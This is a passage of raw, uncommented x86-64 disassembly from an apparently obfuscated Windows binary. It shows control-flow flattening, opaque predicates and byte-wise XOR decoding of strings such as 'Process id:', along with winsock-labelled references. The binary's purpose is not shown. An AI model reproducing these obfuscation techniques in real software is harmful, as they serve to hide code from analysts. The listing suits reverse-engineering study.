mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 7], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 8]
xor sil, 0x13
mov edx, 0x840d488a
jmp 0x14003b170
cmp ebx, 0x73ee0625
jne 0x14003b1ec
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003b1a0
cmp ebx, 0xdbfe02e8
jg 0x14003b1d0
mov edx, r10d
cmp ebx, 0x840d488a
je 0x14003b170
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003b170
cmp ebx, 0x73ee0624
jg 0x14003b154
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x14003b170
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003b170
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003b170
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003b170
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003b170
cmp r9d, 0xf583c234
jg 0x14003b980
cmp r9d, 0x928d138e
je 0x14003b9da
cmp r9d, 0x93073915
jne 0x14003a880
mov r9d, 0x5410b5be
jmp 0x14003a880
cmp r9d, 0x68a5badc
je 0x14003a875
cmp r9d, 0x755fc2e9
jne 0x14003a880
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x128], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x190], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1c0], rax
mov eax, dword [0x1402b5e54]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
mov r9d, 0x928d138e
cmove r9d, ecx
cmp dword [0x1402b5e58], 0xa
mov edx, 0x928d138e
cmovge r9d, edx
setl dl
xor dl, al
cmovne r9d, ecx
jmp 0x14003a880
cmp r9d, 0xf583c235
je 0x14003b9e5
cmp r9d, 0x11ff70d4
jne 0x14003a880
mov eax, dword [0x1402b5e54]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete al
mov r9d, 0x66dcf86e
mov r10d, 0x597adf79
cmove r9d, r10d
cmp dword [0x1402b5e58], 0xa
mov edx, 0x66dcf86e
cmovge r9d, edx
setl dl
xor dl, al
cmovne r9d, r10d
jmp 0x14003a880
mov r9d, 0x755fc2e9
jmp 0x14003a880
movzx eax, byte [rbp + 0x130]
movzx edx, byte [rbp + 0x188]
mov r10d, edx
xor r10b, al
test dl, dl
mov r9d, 0x928d138e
mov edx, 0x755fc2e9
cmovne r9d, edx
test al, al
mov eax, 0x928d138e
cmove r9d, eax
test r10b, r10b
cmovne r9d, edx
jmp 0x14003a880
mov rax, qword [rbp + 0x128]
mov rax, qword [rbp + 0x190]
lea rdx, str._____Process_id_:
mov qword [rax], rdx
mov rax, qword [rbp + 0x1c0]
mov qword [rax], r8
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax]
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x190]
mov r9, qword [rdx]
mov edx, dword [0x1402b5e5c]
lea r10d, [rdx + 1]
imul r10d, edx
test r10b, 1
sete dl
cmp dword [0x1402b5e60], 0xa
setge r11b
setl bl
xor bl, dl
or r11b, r10b
not r11b
or r11b, bl
test r11b, 1
mov edx, 0xdf86ae55
cmovne edx, r14d
movzx r10d, byte [r9]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xb
mov r9d, 0x840d488a
jmp 0x14003bae0
cmp ebx, 0x73ee0625
jne 0x14003bb75
mov r9d, 0x6c1e4422
nop
mov ebx, r9d
cmp r9d, 0xe14df8c4
jg 0x14003bb20
cmp ebx, 0xdbfe02e8
jg 0x14003bb50
mov r9d, edi
cmp ebx, 0x840d488a
je 0x14003bae0
mov r9d, ebx
cmp ebx, 0xc55389d3
jne 0x14003bae0
mov r9d, 0xe14df8c5
jmp 0x14003bae0
cmp ebx, 0x73ee0624
jg 0x14003bacc
mov r9d, r11d
cmp ebx, 0xe14df8c5
je 0x14003bae0
mov r9d, ebx
cmp ebx, 0x6c1e4422
jne 0x14003bae0
mov r9d, esi
jmp 0x14003bae0
mov r9d, edx
cmp ebx, 0xdbfe02e9
je 0x14003bae0
mov r9d, ebx
cmp ebx, 0xdf86ae55
jne 0x14003bae0
mov r9d, 0xdbfe02e9
jmp 0x14003bae0
mov r9d, ebx
cmp ebx, 0x7a8b2334
jne 0x14003bae0
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r9d, dword [0x1402b5e5c]
lea r10d, [r9 + 1]
imul r10d, r9d
test r10b, 1
sete r9b
cmp dword [0x1402b5e60], 0xa
setge r11b
setl bl
xor bl, r9b
or r11b, r10b
not r11b
or r11b, bl
test r11b, 1
mov r9d, 0xdf86ae55
cmovne r9d, r14d
movzx r10d, byte [rdx + 1]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xc
mov edx, 0x840d488a
jmp 0x14003bc20
cmp ebx, 0x73ee0625
jne 0x14003bc9c
mov edx, 0x6c1e4422
nop word [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003bc50
cmp ebx, 0xdbfe02e8
jg 0x14003bc80
mov edx, edi
cmp ebx, 0x840d488a
je 0x14003bc20
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003bc20
mov edx, 0xe14df8c5
jmp 0x14003bc20
cmp ebx, 0x73ee0624
jg 0x14003bc09
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x14003bc20
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003bc20
mov edx, esi
jmp 0x14003bc20
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003bc20
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003bc20
mov edx, 0xdbfe02e9
jmp 0x14003bc20
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003bc20
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 1], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r9d, dword [0x1402b5e5c]
lea r10d, [r9 + 1]
imul r10d, r9d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r9b
cmp dword [0x1402b5e60], 0xa
setl r10b
or r10b, r9b
mov r9d, 0xdf86ae55
cmovne r9d, r14d
movzx r10d, byte [rdx + 2]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xd
mov edx, 0x840d488a
jmp 0x14003bd40
cmp ebx, 0x73ee0625
jne 0x14003bdbc
mov edx, 0x6c1e4422
nop dword [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003bd70
cmp ebx, 0xdbfe02e8
jg 0x14003bda0
mov edx, edi
cmp ebx, 0x840d488a
je 0x14003bd40
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003bd40
mov edx, 0xe14df8c5
jmp 0x14003bd40
cmp ebx, 0x73ee0624
jg 0x14003bd27
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x14003bd40
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003bd40
mov edx, esi
jmp 0x14003bd40
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003bd40
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003bd40
mov edx, 0xdbfe02e9
jmp 0x14003bd40
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003bd40
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 2], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r9d, dword [0x1402b5e5c]
lea r10d, [r9 + 1]
imul r10d, r9d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
setne r9b
cmp dword [0x1402b5e60], 0xa
setge r10b
mov r11d, r10d
xor r11b, r9b
or r10b, r9b
xor r10b, 1
or r10b, r11b
mov r9d, 0xdf86ae55
cmovne r9d, r14d
movzx r10d, byte [rdx + 3]
mov r11d, 0xdf86ae55
cmovne r11d, r15d
mov esi, 0x73ee0625
cmovne esi, r12d
mov edi, 0x73ee0625
cmovne edi, r13d
xor r10b, 0xe
mov edx, 0x840d488a
jmp 0x14003be70
cmp ebx, 0x73ee0625
jne 0x14003beec
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003bea0
cmp ebx, 0xdbfe02e8
jg 0x14003bed0
mov edx, edi
cmp ebx, 0x840d488a
je 0x14003be70
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003be70
mov edx, 0xe14df8c5
jmp 0x14003be70
cmp ebx, 0x73ee0624
jg 0x14003be54
mov edx, r11d
cmp ebx, 0xe14df8c5
je 0x14003be70
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003be70
mov edx, esi
jmp 0x14003be70
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003be70
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003be70
mov edx, 0xdbfe02e9
jmp 0x14003be70
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003be70
mov byte [rbp + 0x138], r10b
movzx edx, byte [rbp + 0x138]
mov byte [rax + 3], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
mov r9d, dword [0x1402b5e5c]
lea r10d, [r9 + 1]
imul r10d, r9d
mov r9d, r10d
xor r9d, 0xfffffffe
test r9d, r10d
sete r9b
cmp dword [0x1402b5e60], 0xa
setl r10b
or r10b, r9b
mov r9d, 0xdf86ae55
cmovne r9d, r14d
movzx esi, byte [rdx + 4]
mov edi, 0xdf86ae55
cmovne edi, r15d
mov r11d, 0x73ee0625
cmovne r11d, r12d
mov r10d, 0x73ee0625
cmovne r10d, r13d
xor sil, 0xf
mov edx, 0x840d488a
jmp 0x14003bf90
cmp ebx, 0x73ee0625
jne 0x14003c00c
mov edx, 0x6c1e4422
nop word [rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003bfc0
cmp ebx, 0xdbfe02e8
jg 0x14003bff0
mov edx, r10d
cmp ebx, 0x840d488a
je 0x14003bf90
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003bf90
mov edx, 0xe14df8c5
jmp 0x14003bf90
cmp ebx, 0x73ee0624
jg 0x14003bf76
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x14003bf90
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003bf90
mov edx, r11d
jmp 0x14003bf90
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003bf90
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003bf90
mov edx, 0xdbfe02e9
jmp 0x14003bf90
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003bf90
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 4], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 5]
xor sil, 0x10
mov edx, 0x840d488a
jmp 0x14003c060
cmp ebx, 0x73ee0625
jne 0x14003c0dc
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003c090
cmp ebx, 0xdbfe02e8
jg 0x14003c0c0
mov edx, r10d
cmp ebx, 0x840d488a
je 0x14003c060
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003c060
mov edx, 0xe14df8c5
jmp 0x14003c060
cmp ebx, 0x73ee0624
jg 0x14003c044
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x14003c060
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003c060
mov edx, r11d
jmp 0x14003c060
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003c060
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003c060
mov edx, 0xdbfe02e9
jmp 0x14003c060
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003c060
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 5], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 6]
xor sil, 0x11
mov edx, 0x840d488a
jmp 0x14003c130
cmp ebx, 0x73ee0625
jne 0x14003c1ac
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003c160
cmp ebx, 0xdbfe02e8
jg 0x14003c190
mov edx, r10d
cmp ebx, 0x840d488a
je 0x14003c130
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003c130
mov edx, 0xe14df8c5
jmp 0x14003c130
cmp ebx, 0x73ee0624
jg 0x14003c114
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x14003c130
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003c130
mov edx, r11d
jmp 0x14003c130
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003c130
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003c130
mov edx, 0xdbfe02e9
jmp 0x14003c130
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003c130
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 6], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 7]
xor sil, 0x12
mov edx, 0x840d488a
jmp 0x14003c200
cmp ebx, 0x73ee0625
jne 0x14003c27c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003c230
cmp ebx, 0xdbfe02e8
jg 0x14003c260
mov edx, r10d
cmp ebx, 0x840d488a
je 0x14003c200
mov edx, ebx
cmp ebx, 0xc55389d3
jne 0x14003c200
mov edx, 0xe14df8c5
jmp 0x14003c200
cmp ebx, 0x73ee0624
jg 0x14003c1e4
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x14003c200
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003c200
mov edx, r11d
jmp 0x14003c200
mov edx, r9d
cmp ebx, 0xdbfe02e9
je 0x14003c200
mov edx, ebx
cmp ebx, 0xdf86ae55
jne 0x14003c200
mov edx, 0xdbfe02e9
jmp 0x14003c200
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003c200
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 7], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 8]
xor sil, 0x13
mov edx, 0x840d488a
jmp 0x14003c2d0
cmp ebx, 0x73ee0625
jne 0x14003c34c
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0xe14df8c4
jg 0x14003c300
cmp ebx, 0xdbfe02e8
jg 0x14003c330
cmp ebx, 0x73ee0624
jg 0x14003c2b4
mov edx, edi
cmp ebx, 0xe14df8c5
je 0x14003c2d0
mov edx, ebx
cmp ebx, 0x6c1e4422
jne 0x14003c2d0
mov edx, r11d
jmp 0x14003c2d0
mov edx, ebx
cmp ebx, 0x7a8b2334
jne 0x14003c2d0
mov byte [rbp + 0x138], sil
movzx edx, byte [rbp + 0x138]
mov byte [rax + 8], dl
mov rdx, qword [rbp + 0x190]
mov rdx, qword [rdx]
movzx esi, byte [rdx + 9]
xor sil, 0x14
mov edx, 0x840d488a
jmp 0x14003c3a0
cmp r9d, 0x5410b5be
jne 0x14003a880
mov rdx, qword [rbp + 0x148]
mov eax, dword [0x1402b5e5c]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete al
cmp dword [0x1402b5e60], 0xa
setl r8b
or r8b, al
mov eax, 0xdf86ae55
cmovne eax, r14d
movzx r8d, byte [rdx]
mov r9d, 0xdf86ae55
cmovne r9d, r15d
mov r10d, 0x73ee0625
cmovne r10d, r12d
mov r11d, 0x73ee0625
cmovne r11d, r13d
xor r8b, 0x1c
mov edx, 0x840d488a
jmp 0x14003caf0
cmp esi, 0x73ee0625
jne 0x14003cb6b
mov edx, 0x6c1e4422
nop word cs:[rax + rax]
mov esi, edx
cmp edx, 0xe14df8c4
jg 0x14003cb20
cmp esi, 0xdbfe02e8
jg 0x14003cb50
mov edx, r11d
cmp esi, 0x840d488a
je 0x14003caf0
mov edx, esi
cmp esi, 0xc55389d3
jne 0x14003caf0
mov edx, 0xe14df8c5
jmp 0x14003caf0
cmp esi, 0x73ee0624
jg 0x14003cad4
mov edx, r9d
cmp esi, 0xe14df8c5
je 0x14003caf0
mov edx, esi
cmp esi, 0x6c1e4422
jne 0x14003caf0
mov edx, r10d
jmp 0x14003caf0
mov edx, eax
cmp esi, 0xdbfe02e9
je 0x14003caf0
mov edx, esi
cmp esi, 0xdf86ae55
jne 0x14003caf0
mov edx, 0xdbfe02e9
jmp 0x14003caf0
mov edx, esi
cmp esi, 0x7a8b2334
jne 0x14003caf0
mov byte [rbp + 0x138], r8b
movzx eax, byte [rbp + 0x138]
mov rdx, qword [rbp + 0x1d0]
mov byte [rdx], al
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x13], 1
mov rax, qword [rbp + 0x1a0]
mov rsp, qword [rbp + 0xf8]
mov eax, dword [0x1402b5e50]
mov edx, dword [0x1402b5e64]
lea r8d, [rax + 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete al
cmp edx, 0xa
setl r9b
xor r9b, al
mov r9d, 0xf4b822b8
mov r10d, 0xa32da065
cmovne r9d, r10d
cmp r8d, 0xffffffff
mov eax, r9d
cmove eax, r10d
cmp edx, 0xa
cmovge eax, r9d
jmp 0x1400383eb
cmp eax, 0xa32da065
jne 0x1400383eb
mov rax, qword [rbp + 0x198]
mov rsp, qword [rbp - 0x18]
sub rsp, 0x20
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xc0]
call fcn.1400b4740
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140003350
add rsp, 0x20
mov ecx, dword [0x1402b5e08]
lea r9d, [rcx + 1]
imul r9d, ecx
test r9b, 1
sete dl
cmp dword [0x1402b5e0c], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x1400456d2
or cl, r9b
test cl, 1
je 0x1400456d2
jmp 0x14003cc80
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0xe8], rsp
mov eax, 0xa278ae27
mov r11d, 0xd2316897
mov edi, 0x155c28c4
mov ebx, 0x67a35c15
cmp eax, 0xc1774001
jle 0x140041186
cmp eax, 0xc1774002
je 0x14004565e
cmp eax, 0xc3a59f38
je 0x1400455f9
cmp eax, 0xe948ff13
jne 0x14003cca5
mov qword [rbp + 0xd0], rsp
mov rdx, qword [rbp + 0x188]
mov eax, 0x67192fc0
cmp eax, 0x309ae7e6
jle 0x14003cd0b
cmp eax, 0x309ae7e7
je 0x140045590
cmp eax, 0x4d130ca6
je 0x14003ef1b
cmp eax, 0x67192fc0
jne 0x14003cce0
mov eax, 0xce0844b9
jmp 0x14003cce0
cmp eax, 0xce0844b9
je 0x14003f07e
cmp eax, 0x1ce5320b
jne 0x14003cce0
mov qword [rbp + 0xd8], rsp
mov rcx, rsp
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x198], rax
mov r9, qword [rbp + 0x198]
movzx r8d, byte [rdx]
mov eax, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete byte [rbp + 0x128]
cmp esi, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003cd9a
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 0
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov esi, dword [0x1402b5e68]
mov r14d, dword [0x1402b5e6c]
lea r12d, [rsi + 1]
imul r12d, esi
mov esi, r12d
xor esi, 0xfffffffe
test esi, r12d
sete r13b
cmp r14d, 0xa
setl r10b
xor r10b, r13b
mov r10d, 0x155c28c4
cmovne r10d, r11d
test esi, r12d
mov r13d, r10d
cmove r13d, r11d
cmp r14d, 0xa
cmovge r13d, r10d
cmp eax, 0x155c28c3
jg 0x14003ce01
cmp eax, 0xbdd48bda
je 0x14003cd75
cmp eax, 0xd2316897
je 0x14003ce4a
cmp eax, 0xd33d59a2
jne 0x14003cde3
jmp 0x14003ce70
cmp eax, 0x155c28c4
je 0x14003ce43
cmp eax, 0x67a35c15
je 0x14003ce51
cmp eax, 0x1d3fd1c7
jne 0x14003cde3
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x14003cde3
mov eax, 0x67a35c15
jmp 0x14003cde3
mov eax, 0xbdd48bda
jmp 0x14003cde3
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003cde3
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9], al
movzx r8d, byte [rdx + 1]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003cee5
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 1
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
lea esi, [r10 + 1]
imul esi, r10d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete r10b
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl sil
xor sil, r10b
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003cf3e
cmp eax, 0xbdd48bda
je 0x14003cec0
cmp eax, 0xd2316897
je 0x14003cf86
cmp eax, 0xd33d59a2
jne 0x14003cf20
jmp 0x14003cfac
cmp eax, 0x155c28c4
je 0x14003cf7f
cmp eax, 0x67a35c15
je 0x14003cf8d
cmp eax, 0x1d3fd1c7
jne 0x14003cf20
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x14003cf20
mov eax, 0x67a35c15
jmp 0x14003cf20
mov eax, 0xbdd48bda
jmp 0x14003cf20
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003cf20
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 1], al
movzx r8d, byte [rdx + 2]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003d02b
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 2
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
add al, 0xb
mov r15d, r8d
xor r15b, r8b
not r15b
and r15b, al
xor r15b, r8b
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [r10 - 1]
imul r14d, r10d
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete r10b
cmp esi, 0xa
setl r12b
xor r12b, r10b
mov r10d, 0x155c28c4
cmovne r10d, r11d
cmp r14d, 0xffffffff
mov r13d, r10d
cmove r13d, r11d
cmp esi, 0xa
cmovge r13d, r10d
cmp eax, 0x155c28c3
jg 0x14003d097
cmp eax, 0xbdd48bda
je 0x14003cffd
cmp eax, 0xd2316897
je 0x14003d0df
cmp eax, 0xd33d59a2
jne 0x14003d075
jmp 0x14003d105
cmp eax, 0x155c28c4
je 0x14003d0d8
cmp eax, 0x67a35c15
je 0x14003d0e6
cmp eax, 0x1d3fd1c7
jne 0x14003d075
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x14003d075
mov eax, 0x67a35c15
jmp 0x14003d075
mov eax, 0xbdd48bda
jmp 0x14003d075
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003d075
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 2], al
movzx r8d, byte [rdx + 3]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax - 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003d17b
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 3
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [r10 + 1]
imul r14d, r10d
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete r10b
cmp esi, 0xa
setl r12b
xor r12b, r10b
mov r10d, 0x155c28c4
cmovne r10d, r11d
cmp r14d, 0xffffffff
mov r13d, r10d
cmove r13d, r11d
cmp esi, 0xa
cmovge r13d, r10d
cmp eax, 0x155c28c3
jg 0x14003d1e3
cmp eax, 0xbdd48bda
je 0x14003d156
cmp eax, 0xd2316897
je 0x14003d22b
cmp eax, 0xd33d59a2
jne 0x14003d1c5
jmp 0x14003d251
cmp eax, 0x155c28c4
je 0x14003d224
cmp eax, 0x67a35c15
je 0x14003d232
cmp eax, 0x1d3fd1c7
jne 0x14003d1c5
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x14003d1c5
mov eax, 0x67a35c15
jmp 0x14003d1c5
mov eax, 0xbdd48bda
jmp 0x14003d1c5
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, r13d
jmp 0x14003d1c5
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 3], al
movzx r8d, byte [rdx + 4]
mov eax, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete byte [rbp + 0x128]
cmp r10d, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14003d2cf
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 4
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
add al, 0xb
mov r15d, r8d
xor r15b, r8b
not r15b
and r15b, al
xor r15b, r8b
mov eax, 0xd33d59a2
mov r10d, dword [0x1402b5e68]
lea esi, [r10 - 1]
imul esi, r10d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete r10b
mov r13d, 0x155c28c4
cmove r13d, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge r13d, edi
setl sil
xor sil, r10b
cmovne r13d, r11d
cmp eax, 0x155c28c3
jg 0x14003d328
cmp eax, 0xbdd48bda
je 0x14003d2a1
cmp eax, 0xd2316897
je 0x14003d370
cmp eax, 0xd33d59a2
jne 0x14003d30a
jmp 0x14003d396
cmp eax, 0x155c28c4
je 0x14003d369
cmp eax, 0x67a35c15
je 0x14003d377
cmp eax, 0x1d3fd1c7
jne 0x14003d30a
